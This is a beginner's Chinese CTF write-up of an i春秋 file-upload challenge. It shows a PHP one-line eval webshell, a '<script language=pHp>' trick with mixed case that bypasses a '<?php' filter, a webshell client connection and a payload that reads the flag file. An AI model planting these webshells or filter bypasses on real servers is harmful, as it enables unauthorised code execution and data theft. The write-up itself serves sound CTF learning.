ichunqiu upload wp

网安菜鸡今天来划水了!

今天一直在肝网鼎的一道题,涉及的知识太多了,整不完了,只能随便水个题打开了【狗头】。CTF题目属于萌新入门级,写下WP仅供自己总结练习,大佬请自行绕路,另外如果有师傅愿意有每日轻松一笑环结,还望不吝赐教。【狗头】

打开题目,是一个上传文件的页面,提示:可以上传任意文件。
在这里插入图片描述
先找了一个JPG的图像,显示上传成功,然后又测试了TXT文本,也是上传成功,最后传了PHP文件,还是显示上传成功,所以证明前端对文件格式没有限制。
但是我们上传PHP一句话木马文件后,点击查看输出结果。

<?php @eval($_POST['abc']);?>

虽然上传成功,但是给我们返回了这么个东西
在这里插入图片描述
证明<?php被过滤掉了。
解决这个方法的思路是看看有没有办法绕过过滤,把PHP一句话木马传到后台。
于是找了个可以绕过的

<script language="pHp">@eval($_POST['abc'])</script>

点击之后发现是空页,代表我们上传成功!
接下来用蚁剑链接
在这里插入图片描述

这里需要注意URL地址路径一定是你传一句话木马的路径,不然无法连接成功。本题的路径就是显示上传成功,然后点击超链接查看上传的文件,此时URL已经跳转完成,即为上传文件的路径。
在这里插入图片描述
在html目录下即可找到flag.php。
在这里插入图片描述
还有一个办法是可以不用蚁剑或菜刀链接,直接用上传的php源代码把flag显示出来。

<?php
$fh=fopen('../flag.php','r');
echo fread($fh,filesize("../flag.php"));
fclose($fh);
?>

初始上传的文件是这样的,但是<? 和 php 被过滤了,用大小写(PHP,pHp)绕过php过滤,用<script language=“pHp”> 绕过<?过滤,最终上传的文件:

<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP"))); 
fclose($fh);
</script>

最后会在页面上显示出flag,但是这种方法有一个弊端,就是得事先知道flag文件的存储路径,这道题是在上一级目录下也就是html目录下存放,所以相对路径是…/flag.php ,两个点代表上级目录。如果没有经验的小白推荐还是上传一句话木马,在蚁剑里查看网站目录结构,再在其中寻找flag。

很久以前,就做过一道upload文件上传的题目,当时踩了很多坑,一个是前端过滤需要抓包改包,再一个是一句话木马,post要大写,还有一个就是蚁剑的URL一定是一句话的路径,希望大家和我以后做题多多注意。
在这里插入图片描述
纪念一下当时呆萌的自己【狗头】

Supongo que te gusta

Origin blog.csdn.net/weixin_45253216/article/details/112544258
Recomendado
Clasificación